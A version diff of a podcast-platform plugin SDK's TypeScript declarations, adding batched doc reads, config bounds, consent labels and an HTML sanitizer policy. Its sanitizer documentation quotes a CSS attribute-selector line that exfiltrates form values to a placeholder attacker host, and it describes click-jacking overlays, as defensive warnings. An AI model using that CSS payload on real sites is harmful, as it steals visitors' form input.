@mosaicast/plugin-sdk 0.14.0 → 0.16.0

package/dist/index.d.ts

@@ -17,7 +17,7 @@
  * rejects a mismatch at startup (ARCHITECTURE §7.2). While the SDK is pre-1.0 a breaking change is
  * therefore a *minor* bump; from `1.0.0` on, breaking means major.
  */
-export declare const PLATFORM_API_VERSION: '0.14.0';
+export declare const PLATFORM_API_VERSION: '0.16.0';
 /** A user's role (ARCHITECTURE §8.5). Anonymous visitors have no role (`user` is `null`). */
 export type Role = 'admin' | 'podcaster' | 'fan';
 /**
@@ -112,10 +112,29 @@ export interface ThemeTokens {
     text: string;
     /** Muted/secondary text color. */
     textMuted: string;
-    /** Accent color. */
+    /**
+     * The accent as the admin chose it — for **fills** (buttons, badges, bars), paired with
+     * {@link accentContrast} for whatever sits on top.
+     *
+     * **Not for text, links or focus rings.** The seed is not contrast-checked against the page: a pale
+     * choice such as `#FFF176` measured 1.12:1 as link text. Use {@link accentText} (`--mc-accent-text`)
+     * for anything read or anything that marks focus.
+     */
     accent: string;
     /** Readable text color on top of {@link accent}. */
     accentContrast: string;
+    /**
+     * The accent clamped to WCAG AA (4.5:1) against both {@link bg} and {@link surface} — for **text,
+     * links and focus rings**, where {@link accent} may be unreadable.
+     *
+     * Optional because a host older than `0.16.0` does not send it. The host also sets
+     * `--mc-accent-text` on `:root`, which inherits through the shadow boundary, so in CSS
+     * `color: var(--mc-accent-text)` works whether or not this field is present. The SDK writes it onto
+     * `:host` only when it is.
+     *
+     * @since 0.16.0
+     */
+    accentText?: string;
     /** Optional secondary accent. */
     accent2?: string;
     /** Border/divider color. */
@@ -167,7 +186,9 @@ export interface PagedDocs<T = unknown> {
  *
  * ```text
  * GET    /api/plugins/{id}/data/{scopeType}/{scopeId}/{key}
- *          → one JSON doc; 404 if absent
+ *          → one JSON doc; 204 (no body) if the key is not set
+ * GET    /api/plugins/{id}/data/{scopeType}?ids=a,b&keys=x,y
+ *          → { a: { x: … }, b: {} } — misses absent; ≤ 100 ids and ≤ 100 keys (since 0.16.0)
  * GET    /api/plugins/{id}/data/{scopeType}/{scopeId}?prefix=&page=&size=
  *          → { items: [{ key, value }], page, size, totalElements, totalPages }
  * PUT    /api/plugins/{id}/data/{scopeType}/{scopeId}/{key}   (JSON body)
@@ -188,7 +209,8 @@ export interface PagedDocs<T = unknown> {
  * The doc a backend writes with `ctx.store().put(scope, key, value)` is the one read here at
  * `GET /api/plugins/{id}/data/{scopeType}/{scopeId}/{key}`: one store, two ends. The `user` scope is the
  * exception — it exists only here. A backend has no calling user, so it cannot write a user partition at
- * all and reads them only in aggregate, through the Java `DocStore.queryAcrossUsers(prefix)`.
+ * all and reads them only in aggregate, through the Java `ctx.allUsers().query(prefix)` — which the
+ * manifest has to declare ({@link PluginDataDeclaration.readsAllUsers}).
  *
  * ## Where per-user data goes
  *
@@ -253,7 +275,7 @@ export interface PagedDocs<T = unknown> {
  * await ctx.api.delete(`${mine}/${key}`);                     // idempotent
  *
  * // A leaderboard is not built here: the backend aggregates every user's marks with
- * // queryAcrossUsers(...) and writes the result to `${shared}/leaderboard` for this component to read.
+ * // ctx.allUsers().query(...) and writes the result to `${shared}/leaderboard` for this component to read.
  * // If the manifest declares that key backendOwned, a PUT to it from here is a 403 — by design.
  * const board = await ctx.api.get<Leaderboard>(`${shared}/leaderboard`);
  * ```
@@ -262,13 +284,16 @@ export interface PluginApiClient {
     /**
      * GET a path, resolving to the parsed JSON body.
      *
-     * Rejects with a {@link PluginApiError} on any non-2xx response — **including 404**, which is the
-     * normal answer for a document that does not exist yet. Prefer {@link getOrNull} when absence is an
-     * expected outcome rather than a failure.
+     * Rejects with a {@link PluginApiError} on any non-2xx response. A document that is simply not set
+     * answers **204** (since 0.16.0; it was a 404 before), which this resolves as **`undefined`** — so a
+     * raw `get` of a doc path can come back empty. Prefer {@link getOrNull}, or better `ctx.docs.get`,
+     * when absence is an expected outcome rather than a failure. A 404 now means the *address* is wrong:
+     * an unknown or disabled plugin, an unknown scope.
      */
     get<T = unknown>(path: string): Promise<T>;
     /**
-     * Like {@link get}, but resolves **`null`** on a 404 instead of rejecting.
+     * Like {@link get}, but resolves **`null`** for an absent document — the host's 204 — and on a 404
+     * instead of rejecting.
      *
      * "Nothing saved yet" is the ordinary state of a doc-store key, so every plugin ends up writing
      * `get(path).catch(() => undefined)` — which also swallows the 500, the 403 from the read floor and
@@ -278,7 +303,7 @@ export interface PluginApiClient {
      * Every other non-2xx still rejects with a {@link PluginApiError}.
      *
      * @param path the path relative to the plugin's base
-     * @returns the parsed body, or `null` when the host answered 404
+     * @returns the parsed body, or `null` when the host answered 204 or 404
      * @since 0.9.0
      */
     getOrNull<T = unknown>(path: string): Promise<T | null>;
@@ -359,6 +384,14 @@ export declare function isPluginApiError(e: unknown): e is PluginApiError;
  * @since 0.9.0
  */
 export declare const DOC_KEY_PATTERN: RegExp;
+/**
+ * The most scope ids, and the most keys, one {@link DocClient.getMany} request carries — the host's
+ * per-request ceiling. The client splits a larger call for you, so this is for sizing, not a limit you
+ * have to enforce.
+ *
+ * @since 0.16.0
+ */
+export declare const DOC_BATCH_LIMIT = 100;
 /**
  * Which partition a {@link DocClient} call addresses.
  *
@@ -373,7 +406,7 @@ export declare const DOC_KEY_PATTERN: RegExp;
 export type DocTarget = Scope | 'self' | 'site';
 /**
  * A typed client for this plugin's doc store — the same endpoints {@link PluginApiClient} reaches, with
- * the path building, the key validation and the 404 handling done for you.
+ * the path building, the key validation and the absence handling done for you.
  *
  * Every doc access before this was string concatenation against a four-segment path, with the plugin
  * responsible for `encodeURIComponent`, for {@link DOC_KEY_PATTERN}, for knowing that `site` is always
@@ -402,11 +435,31 @@ export type DocTarget = Scope | 'self' | 'site';
  * unknown scope, the 401 on an anonymous `user` request. See {@link PluginApiClient} for all of it;
  * that client stays available as the escape hatch for anything this does not cover.
  *
+ * ## What it remembers for you (guaranteed since 0.16.0)
+ *
+ * "This episode has no highlight" is the **normal** answer for an optional per-episode document, and a
+ * tile asks for its keys every time it renders. Measured before these guarantees: 98% of one session's
+ * 3,737 plugin requests were answers of "not set", one key asked 178 times. So the host's client
+ * promises, per plugin and per signed-in identity, for the life of the page:
+ *
+ * 1. **Identical `get`s in flight share one request.**
+ * 2. **A miss is remembered.** A key the host answered "not set" resolves `null` without a round trip
+ *    from then on — misses from {@link getMany} included.
+ * 3. **Your own writes are seen.** `put` and `remove` through this client forget the address they
+ *    touched, so reading back what you just stored returns it rather than the earlier miss.
+ * 4. **Hits are never cached.** A document another session wrote shows up on the next render.
+ * 5. **An error is never remembered** — a 404 (unknown plugin or scope) or a 5xx is retried next time.
+ *
+ * What that means for your code: a cache of **misses** of your own is unnecessary — delete it. A cache
+ * of **hits** is allowed but harmful the moment it outlives a write made elsewhere; if you keep one,
+ * scope it to a render. And for more than one scope, use {@link getMany}: one request for a whole page
+ * of cards instead of one per card per key.
+ *
  * @since 0.9.0
  */
 export interface DocClient {
     /**
-     * One document, or **`null`** when there is none.
+     * One document, or **`null`** when there is none (the host's 204).
      *
      * Null rather than a rejection: absence is the ordinary state of a key nothing has written yet, and
      * making it an exception is what produced the `catch` that also swallowed every real failure. Other
@@ -417,6 +470,33 @@ export interface DocClient {
      * @throws Error synchronously-thrown-as-rejection if the key is malformed
      */
     get<T = unknown>(target: DocTarget, key: string): Promise<T | null>;
+    /**
+     * The same keys across many scopes of one level, in one request — what a page of episode cards needs.
+     *
+     * ```ts
+     * const slugs = ctx.episodes.slice(0, 20);
+     * const docs = await ctx.docs.getMany<Highlight>('episode', slugs, ['highlight', 'template']);
+     * for (const slug of slugs) render(slug, docs[slug]?.highlight ?? null);
+     * ```
+     *
+     * The answer maps scope id → key → value, and **a miss is simply absent**: no `null`, no error — an
+     * id with nothing set may be missing entirely or map to `{}`. Every access rule of {@link get} applies
+     * per id: the same read floor, and an id the caller may not address rejects the whole call with a
+     * {@link PluginApiError} rather than being quietly skipped.
+     *
+     * More than {@link DOC_BATCH_LIMIT} ids or keys is **split** into several requests and merged, so you
+     * never see the host's per-request ceiling. An empty `ids` or `keys` resolves `{}` without a request.
+     * Misses feed the same memory {@link get} uses, so a later `get` of one costs nothing.
+     *
+     * Not for `user` scope: there is one caller partition, and `get('self', key)` reads it.
+     *
+     * @param type the scope level every id belongs to
+     * @param ids  scope ids at that level — episode slugs, feed ids, `'main'` for the site
+     * @param keys document keys; each must match {@link DOC_KEY_PATTERN}
+     * @throws Error synchronously-thrown-as-rejection if a key is malformed
+     * @since 0.16.0
+     */
+    getMany<T = unknown>(type: Scope['type'], ids: string[], keys: string[]): Promise<Record<string, Record<string, T>>>;
     /**
      * Upserts a document. Last-write-wins, as everywhere on this store.
      *
@@ -995,8 +1075,34 @@ export declare function matchRoute<P extends string>(path: string, patterns: rea
 export interface DisplaySnapshot {
     /** The episode title from the feed. */
     title: string;
-    /** The episode description/show notes; may be empty. */
+    /**
+     * The episode's show notes **exactly as the third-party feed published them** — HTML; may be empty.
+     *
+     * **Untrusted input. Never assign it to `innerHTML` as it stands.** The host does not sanitize this
+     * field: it is whatever the podcast host put in the feed, fetched over the network, and anyone who can
+     * edit that feed controls it. The shell renders the same string only through its own sanitizer; a
+     * plugin that inserts it raw gets markup and CSS injection on a page with `style-src 'unsafe-inline'` —
+     * a full-viewport overlay, or attribute-selector CSS that exfiltrates form values. Either:
+     *
+     * - show {@link descriptionText} (plain text — the right choice for a card or a teaser), or
+     * - pass it through {@link PluginContext.sanitize} first, which applies the shell's own policy.
+     *
+     * ```ts
+     * body.innerHTML = ctx.sanitize(snap.description);   // never: body.innerHTML = snap.description
+     * ```
+     */
     description: string;
+    /**
+     * The same show notes as **plain text** — tags removed and entities decoded by the host. Never absent;
+     * empty when the feed has no description.
+     *
+     * Safe to put in `textContent` as it stands, and what a card, a teaser, a tooltip or a search excerpt
+     * should use. Whitespace between block elements is collapsed to single spaces, so it is one run of
+     * prose, not a layout.
+     *
+     * @since 0.16.0
+     */
+    descriptionText: string;
     /** The enclosure audio URL; absent for a `PLANNED` episode with no audio yet. */
     audioUrl?: string;
     /** The publication timestamp (ISO-8601 instant); absent for a `PLANNED` episode. */
@@ -1032,6 +1138,54 @@ export declare function resolveArtwork(snapshot: DisplaySnapshot): string | unde
  * @since 0.9.0
  */
 export declare const DISPLAY_BATCH_LIMIT = 200;
+/**
+ * The HTML policy the host applies to third-party markup — mirror of the shell's feed-HTML sanitizer,
+ * and what {@link PluginContext.sanitize} applies.
+ *
+ * Plain data, so the SDK stays dependency-free and the host can import this one object instead of
+ * keeping a copy. The names map one-to-one onto DOMPurify's config keys (`ALLOWED_TAGS`,
+ * `ALLOWED_ATTR`, `FORBID_TAGS`, `FORBID_ATTR`, `ALLOWED_URI_REGEXP`) for a plugin that must run its own
+ * sanitizer somewhere `ctx` does not reach — but prefer `ctx.sanitize`, which is the same decision
+ * without a dependency.
+ *
+ * ## Why not DOMPurify's defaults
+ *
+ * The defaults are built to stop *script execution*, and they do. They also permit `<style>` and the
+ * `style` attribute, filtering CSS only for `expression()` and `behavior:`, not for `url()`. The plugin
+ * contract requires `style-src 'unsafe-inline'` (Web Components style their shadow roots), and `img-src`
+ * stays open to any `https:` origin because artwork comes from arbitrary feed hosts. Together that makes
+ * any unsanitized stylesheet reachable, with two measured consequences:
+ *
+ * - a fixed, full-viewport, high-`z-index` block is **click-jacking** over the site chrome;
+ * - `input[value^="a"]{background-image:url(https://attacker/a)}` **exfiltrates** rendered form values
+ *   one character at a time.
+ *
+ * So the lists are narrow and explicit: prose, links, lists, tables and images. Widening one is a
+ * decision somebody makes on purpose; inheriting a default is a decision nobody made.
+ *
+ * @since 0.16.0
+ */
+export declare const FEED_HTML_POLICY: Readonly<{
+    /**
+     * Every element that survives. Anything else is unwrapped — the element goes, its text stays — except
+     * elements whose content is never prose (`script`, `style`, `template`, `iframe`, `svg`, …), which go
+     * with their content.
+     */
+    allowedTags: readonly string[];
+    /** Every attribute that survives, on any allowed element. */
+    allowedAttrs: readonly string[];
+    /**
+     * Elements that never survive, even if a later edit adds them to `allowedTags` — belt and braces, so
+     * widening one list cannot quietly reopen what this policy exists to close.
+     */
+    forbidTags: readonly string[];
+    /** Attributes removed even if a later edit adds them to `allowedAttrs`. */
+    forbidAttrs: readonly string[];
+    /** What an `href` or `src` may start with; anything else (`javascript:`, `data:`) is dropped. */
+    allowedUriRegexp: RegExp;
+    /** The `rel` put on every link that leaves the site, next to `target="_blank"`. */
+    externalLinkRel: string;
+}>;
 /**
  * Read access to episode display snapshots — the frontend half of the Java `FeedAccess`.
  *
@@ -1055,6 +1209,9 @@ export declare const DISPLAY_BATCH_LIMIT = 200;
  * refetch. That is a feature — a feed edit propagates — and the reason to read it live rather than copy
  * it. Cache per render, never per install.
  *
+ * **`description` is untrusted third-party HTML** — see {@link DisplaySnapshot.description}. Show
+ * `descriptionText`, or run `description` through {@link PluginContext.sanitize}; never insert it raw.
+ *
  * ```ts
  * const cards = await ctx.feeds.displayMany(ctx.episodes.slice(0, 20));
  * for (const slug of ctx.episodes) {
@@ -1375,7 +1532,7 @@ export interface NotifyMessage {
  * a person who did not ask for it, so the host draws two lines you cannot move:
  *
  * - **You may only notify users you already hold `user`-scope data for.** Enforced against the same
- *   partitions the backend's `queryAcrossUsers` reads: bingo may write to its participants because
+ *   partitions the backend's `allUsers().query(...)` reads: bingo may write to its participants because
  *   participants have rows, and no plugin can reach a user who never touched it.
  * - **The rate limits are the host's** — per recipient per window, plus a ceiling across all recipients.
  *   A limit a plugin enforces is a limit a plugin can drop, so there is no counter here to read.
@@ -1449,8 +1606,9 @@ export interface NotifyClient {
  * assume `has('analytics')` says anything about *which* provider was accepted — it says the category was.
  *
  * If you need a visitor to be able to accept one of your services and refuse another, declare them under
- * **different categories** (a plugin-declared category is allowed, it just has no translated label in the
- * shell). That is the only lever the contract gives you.
+ * **different categories** (a plugin-declared category is allowed; since `0.16.0` give it a label with
+ * {@link PluginConsentCategoryLabel} — without one the shell can only show a generic phrase around the
+ * raw id). That is the only lever the contract gives you.
  *
  * ## `necessary` is never asked about
  *
@@ -1596,6 +1754,21 @@ export interface PluginDataDeclaration {
      * the backend cannot write at all — even a bare `*` leaves those to their owner.
      */
     backendOwned?: string[];
+    /**
+     * Whether this plugin's **backend** may read every user's `user` partition at once — the Java
+     * `ctx.allUsers()`, which is `null` without this.
+     *
+     * It is the one read that crosses an ownership boundary: every account's documents, each with the
+     * owner's UUID. That is a different thing to be told about before installing than "keeps per-user
+     * data", which is all the `user` scope implies — so it is declared, like `blobs`, `identity` and
+     * `notifications`, and absent means no. Declare it for a leaderboard, a rollup, a moderation view.
+     *
+     * Nothing changes for the frontend: a browser only ever reads its own partition, `'self'`, whatever
+     * this says. Until `0.16.0` the capability was `DocStore.queryAcrossUsers` and every plugin had it.
+     *
+     * @since 0.16.0
+     */
+    readsAllUsers?: boolean;
 }
 /**
  * One item a service stores on the visitor's device, as declared in `plugin.json`.
@@ -1671,6 +1844,46 @@ export interface ConsentServiceDeclaration {
     /** Each item the service stores on the visitor's device. */
     storage: ConsentStorageDeclaration[];
 }
+/**
+ * What a visitor reads for a consent category **your plugin introduced** — one entry of the manifest's
+ * `consent.categoryLabels`, keyed by the category id.
+ *
+ * The category is the thing being consented to, so it is the one plugin-authored string that cannot fall
+ * back to a developer key. The core categories (`necessary`, `functional`, `analytics`) have a title and
+ * an explanation in every shell language; a plugin-declared one such as `social` used to appear as the
+ * bare lowercase word, with nothing to say what it covers, between two that explain themselves.
+ *
+ * ```json
+ * "consent": {
+ *   "services": [{ "id": "mastodon", "category": "social", … }],
+ *   "categoryLabels": {
+ *     "social": {
+ *       "label": { "en": "Social media", "de": "Soziale Medien" },
+ *       "hint": { "en": "Posts embedded from social networks.", "de": "Eingebettete Beiträge aus sozialen Netzwerken." }
+ *     }
+ *   }
+ * }
+ * ```
+ *
+ * The rules the host applies:
+ *
+ * - **Declaring a category outside the core vocabulary obliges you to label it.** An unlabelled one still
+ *   loads, but the host shows it wrapped in a generic localised phrase ("Other services: social") rather
+ *   than as a choice it can explain — which is a worse consent request, not a neutral one.
+ * - **A core category cannot be relabelled.** An entry for `necessary`, `functional` or `analytics` is
+ *   refused at load: a plugin rewording what every other plugin's visitors consent to is not a label.
+ * - **An entry must label a category one of your services declares**, and is refused at load otherwise.
+ * - **Two plugins labelling the same category** is resolved by the host, deterministically — the
+ *   decision is shared across plugins (see {@link ConsentApi}), so only one label can be shown.
+ *
+ * @since 0.16.0
+ */
+export interface PluginConsentCategoryLabel {
+    /** The category's name in the consent notice and the settings page — short, like a heading. */
+    label: LocalizedText;
+    /** One sentence under it: what accepting this category lets load, in the visitor's terms. */
+    hint?: LocalizedText;
+}
 /**
  * The shape of your manifest's `tags` block — whether this plugin reads the site vocabulary, and whether
  * it may tag **episodes**.
@@ -1793,6 +2006,32 @@ export interface PluginNavDeclaration {
     /** The minimum role that sees this entry. */
     role?: DataAccessRole;
 }
+/**
+ * Text the host renders to an operator, in as many languages as you can write it.
+ *
+ * A plain string is one language and always accepted. The map form is locale code → text, resolved by the
+ * host down the chain the shell already uses everywhere else: the exact locale, then its base language so
+ * `de-AT` finds a `de` entry, then `en`, then any entry that exists.
+ *
+ * @since 0.15.0
+ */
+export type LocalizedText = string | Record<string, string>;
+/**
+ * One choice of a config field that declares a closed set.
+ *
+ * A field with `options` is rendered as a select and accepts nothing outside them — checked at load for
+ * the manifest's own `default` and at write time for an operator's override. Before that existed, a field
+ * its plugin understood as exactly two words was a free-text box in which a typo validated, saved, and
+ * then fell back silently at read time.
+ *
+ * @since 0.15.0
+ */
+export interface PluginConfigOption {
+    /** The value stored and handed back to your backend. */
+    value: string | number | boolean;
+    /** What the operator sees; falls back to the value itself when absent. */
+    label?: LocalizedText;
+}
 /** One declared config field, rendered by core as a generic admin form (§7.2). @since 0.9.0 */
 export interface PluginConfigField {
     /** The value type the admin form renders. */
@@ -1801,8 +2040,56 @@ export interface PluginConfigField {
     default?: string | number | boolean;
     /** The minimum role that may edit it. */
     editableBy?: DataAccessRole;
-    /** A short explanation shown beside the field. */
-    description?: string;
+    /**
+     * The field's name in the form, in place of the raw key.
+     *
+     * Plugins may not build their own config UI (§7.2), so the generic form is the only thing an operator
+     * ever sees — and without this it shows them `ingestIntervalSeconds` and nothing else. The key stays
+     * visible next to the label, because the key is what your own docs name.
+     *
+     * @since 0.15.0
+     */
+    label?: LocalizedText;
+    /**
+     * A short explanation shown under the field: what the setting does, what a sane value looks like, what
+     * unit it is in.
+     *
+     * Widened to {@link LocalizedText} in `0.15.0`; a plain string still means one language.
+     */
+    description?: LocalizedText;
+    /**
+     * The closed set of values this field accepts. Omit for a free-form input.
+     *
+     * @since 0.15.0
+     */
+    options?: PluginConfigOption[];
+    /**
+     * The smallest value a `number` field accepts, inclusive.
+     *
+     * Without it, any number an operator can type is legal — including the `0` that switches a scheduled
+     * task off, or the `-1` that gets it rejected at the next boot. Declare the constraint here rather than
+     * clamping in code, where it runs only after the bad value is stored and the form has said "Saved."
+     *
+     * The host enforces every bound below the same way: an out-of-range write is **refused** with a 400 that
+     * names the bound (never silently clamped); the admin form renders them as input constraints; a manifest
+     * whose `default` breaks its own bounds, whose `min` exceeds its `max`, or that puts a bound on the
+     * wrong type (`min` on a `string`, `maxLength` on a `number`) is refused at load; and a value stored
+     * before a bound existed that now breaks it is treated as **unset**, so the default applies.
+     *
+     * @since 0.16.0
+     */
+    min?: number;
+    /** The largest value a `number` field accepts, inclusive. See {@link min}. @since 0.16.0 */
+    max?: number;
+    /**
+     * The granularity of a `number` field: a value must be `min + k·step` (or `k·step` without `min`).
+     * `1` makes a field whole-numbered. Must be positive. See {@link min}. @since 0.16.0
+     */
+    step?: number;
+    /** The fewest characters a `string` field accepts; `1` makes it non-empty. See {@link min}. @since 0.16.0 */
+    minLength?: number;
+    /** The most characters a `string` field accepts. See {@link min}. @since 0.16.0 */
+    maxLength?: number;
 }
 /** The shape of the manifest's `blobs` block (ARCHITECTURE §11.1). @since 0.9.0 */
 export interface PluginBlobsDeclaration {
@@ -1866,6 +2153,28 @@ export interface PluginExternalDeclaration {
      */
     usedBy?: DataAccessRole;
 }
+/**
+ * The grammar of `frontend.entry` — mirror of the host's `PluginManifest.FRONTEND_ENTRY_PATTERN`.
+ *
+ * A relative path under the plugin's own `assets/`: one or more `[A-Za-z0-9._-]` segments joined by `/`,
+ * with no leading slash, no `.` or `..` segment, no empty segment, and no query or fragment.
+ *
+ * It is the one manifest string that becomes a URL path, and it was the last one without a grammar: the
+ * shell builds `/plugins/<id>/assets/<entry>` by interpolation, so an entry carrying `../`, `?` or `#`
+ * addressed something other than what its author wrote. The host **rejects** a manifest whose entry does
+ * not match — at load, with the entry named — rather than dropping the field, the same rule
+ * {@link PluginDataDeclaration.backendOwned} follows: a plugin whose bundle silently never loads is worse
+ * than one that fails with a named cause. Test your manifest against this to find out before the host
+ * does.
+ *
+ * ```ts
+ * FRONTEND_ENTRY_PATTERN.test('sample.es.js');   // true
+ * FRONTEND_ENTRY_PATTERN.test('../sample.es.js'); // false
+ * ```
+ *
+ * @since 0.16.0
+ */
+export declare const FRONTEND_ENTRY_PATTERN: RegExp;
 /**
  * The whole of `plugin.json`, typed.
  *
@@ -1922,7 +2231,12 @@ export interface PluginManifest {
     };
     /** The frontend half: the bundle and the custom elements it registers. */
     frontend?: {
-        /** The ES module entry, relative to the plugin's bundle. */
+        /**
+         * The ES module entry, relative to the plugin's own `assets/` — e.g. `sample.es.js`.
+         *
+         * Must match {@link FRONTEND_ENTRY_PATTERN}: `[A-Za-z0-9._-]` segments joined by `/`, no leading
+         * slash, no `.`/`..` segment, no query or fragment. The host rejects the plugin at load otherwise.
+         */
         entry: string;
         /** Every custom-element tag the entry registers. Each `slots[].element` must be one of these. */
         elements: string[];
@@ -1951,7 +2265,13 @@ export interface PluginManifest {
     config?: Record<string, PluginConfigField>;
     /** Third-party services this plugin loads. Omit entirely when it loads none. */
     consent?: {
+        /** Every service, each under the category the visitor decides it by. */
         services: ConsentServiceDeclaration[];
+        /**
+         * Labels for the categories your services introduce, keyed by category id — see
+         * {@link PluginConsentCategoryLabel}. @since 0.16.0
+         */
+        categoryLabels?: Record<string, PluginConsentCategoryLabel>;
     };
     /** The host ignores fields it does not know, so this type does too. */
     [field: string]: unknown;
@@ -2110,7 +2430,7 @@ export interface PluginContext {
     api: PluginApiClient;
     /**
      * A typed client for the same doc store {@link api} reaches — path building, key validation and
-     * null-on-404 done for you.
+     * null-when-absent done for you, plus request dedupe and a miss cache — see {@link DocClient}.
      *
      * Never `null`: every plugin has a doc store. `ctx.api` remains the escape hatch for anything this
      * does not cover. See {@link DocClient}, and note `'self'` for the caller's own partition.
@@ -2128,6 +2448,39 @@ export interface PluginContext {
      * @since 0.9.0
      */
     feeds: FeedsClient;
+    /**
+     * Makes HTML your plugin did not write safe to put in `innerHTML` — with **the host's own policy**,
+     * the one the shell applies to feed HTML ({@link FEED_HTML_POLICY}).
+     *
+     * Use it for everything you did not author: a {@link DisplaySnapshot.description}, a user's or a
+     * podcaster's rich text, rendered Markdown, anything fetched. It exists so that a plugin cannot end up
+     * with a *weaker* policy than the host by writing less code: reaching for `DOMPurify.sanitize(html)`
+     * with library defaults lets `<style>` and `style=` through, which is exactly what the host refuses and
+     * why (see {@link FEED_HTML_POLICY}).
+     *
+     * What it does, and nothing else:
+     *
+     * - keeps only the allowed tags and attributes, dropping `<style>`, `<script>`, `<iframe>`, forms and
+     *   every `style`, `srcset` and event-handler attribute — including their content where that could run
+     *   or style anything;
+     * - drops an `href`/`src` that is not `http(s):`, `mailto:`, `tel:`, `#…` or a `/` path;
+     * - gives every link that leaves the site `target="_blank"` and `rel="noopener noreferrer nofollow ugc"`
+     *   — following one in the same tab would tear down the SPA and stop the player.
+     *
+     * Synchronous and never `null`: there is nothing to declare, because it grants nothing. Run it on the
+     * **final** HTML, after Markdown rendering — sanitizing the input and then transforming it undoes the
+     * point.
+     *
+     * ```ts
+     * root.querySelector('.notes')!.innerHTML = ctx.sanitize(snap.description);
+     * root.querySelector('.page')!.innerHTML = ctx.sanitize(marked.parse(markdown));
+     * ```
+     *
+     * @param html untrusted HTML; `null`, `undefined` and `''` all give `''`
+     * @returns HTML safe to assign to `innerHTML` inside your shadow root
+     * @since 0.16.0
+     */
+    sanitize(html: string | null | undefined): string;
     /**
      * The site's shared tag vocabulary, or **`null`** when the manifest declares no `tags` block
      * (ARCHITECTURE §6.1).
@@ -2323,23 +2676,71 @@ export interface PluginContext {
     /** Host theme tokens, also injected as `--mc-*` CSS custom properties. */
     theme: ThemeTokens;
 }
+/**
+ * What a render may return so it can **survive a new `ctx`** instead of being torn down for it.
+ *
+ * Returning a plain cleanup function (or nothing) keeps the original behaviour: every `ctx` assignment
+ * destroys the render and builds a new one, losing component state, in-flight requests, scroll position
+ * and open dialogs. That is fine for a static card and wrong for anything else, because `ctx` changes far
+ * more often than "a consent choice or a language switch" — a host that rebuilds its context object
+ * during playback can reassign it several times a second.
+ *
+ * Return this instead and the SDK stops tearing down: on a new `ctx` it refreshes the theme variables,
+ * calls {@link update} with the new context and leaves `root` and everything in it alone. {@link destroy}
+ * then means what it says — the element is going away.
+ *
+ * ```ts
+ * defineMosaicastElement({
+ *   tag: 'bingo-card',
+ *   render: ({ ctx, root }) => {
+ *     const app = mountMyFramework(root, ctx);
+ *     return { update: (next) => app.setCtx(next), destroy: () => app.unmount() };
+ *   },
+ * });
+ * ```
+ *
+ * @since 0.15.0
+ */
+export interface MosaicastHandle {
+    /**
+     * Called with the new context whenever the host reassigns `ctx`, in place of a re-render.
+     *
+     * `root` keeps its DOM and no cleanup runs first. The SDK has already applied the new theme tokens.
+     * Omit it and the SDK falls back to destroy-and-render, which is what a plugin returning a bare cleanup
+     * function gets.
+     *
+     * A host may reassign an **identical** context object; the SDK filters that case out, so every call you
+     * see carries a `ctx` that is at least a different object.
+     */
+    update?(ctx: PluginContext): void;
+    /**
+     * Called when the element disconnects, and before a full re-render — the same duty the bare cleanup
+     * callback has. Drop subscriptions ({@link Unsubscribe}), timers and in-flight requests here.
+     */
+    destroy?(): void;
+}
 /**
  * What a plugin author implements: render logic given the mount point and context.
  *
  * @param args.ctx  the host-provided context
  * @param args.root a dedicated container inside the component's shadow root to render into; it is
  *                  cleared by the SDK before each call
- * @returns an optional cleanup callback, run before the next render and on disconnect
+ * @returns nothing, a cleanup callback (run before the next render and on disconnect), or — since
+ *          `0.15.0` — a {@link MosaicastHandle} whose `update` takes a new `ctx` **without** the render
+ *          being torn down and rebuilt
  */
 export type MosaicastRender = (args: {
     ctx: PluginContext;
     root: HTMLElement;
-}) => void | (() => void);
+}) => void | (() => void) | MosaicastHandle;
 /** Options for {@link defineMosaicastElement}. */
 export interface DefineElementOptions {
     /** The custom-element tag name (must contain a hyphen), e.g. `bingo-episode-card`. */
     tag: string;
-    /** The render callback invoked whenever `ctx` is (re)assigned. */
+    /**
+     * The render callback. Invoked when `ctx` is first assigned, and again on every later assignment
+     * unless it returned a {@link MosaicastHandle} with an `update`.
+     */
     render: MosaicastRender;
 }
 /**
@@ -2348,7 +2749,13 @@ export interface DefineElementOptions {
  * The created custom element attaches an open shadow root, accepts the host's {@link PluginContext} via
  * a `ctx` property, injects the theme tokens as `--mc-*` CSS custom properties into the shadow root, and
  * calls your {@link DefineElementOptions.render} into a dedicated container — so you write only render
- * logic. Re-assigning `ctx` re-renders (after running any cleanup the previous render returned).
+ * logic.
+ *
+ * **What a new `ctx` costs you is your choice (since `0.15.0`).** Return a {@link MosaicastHandle} with
+ * an `update` and the SDK hands the new context to the render you already have: theme variables are
+ * refreshed, `update(ctx)` is called, `root` is untouched. Return a bare cleanup callback (or nothing)
+ * and the old behaviour stands: cleanup runs, `root` is cleared, `render` is called again. Either way an
+ * assignment of the **same** context object is ignored, and `destroy` runs on disconnect.
  *
  * Calling twice with the same tag is a no-op (the browser forbids redefining a custom element).
  *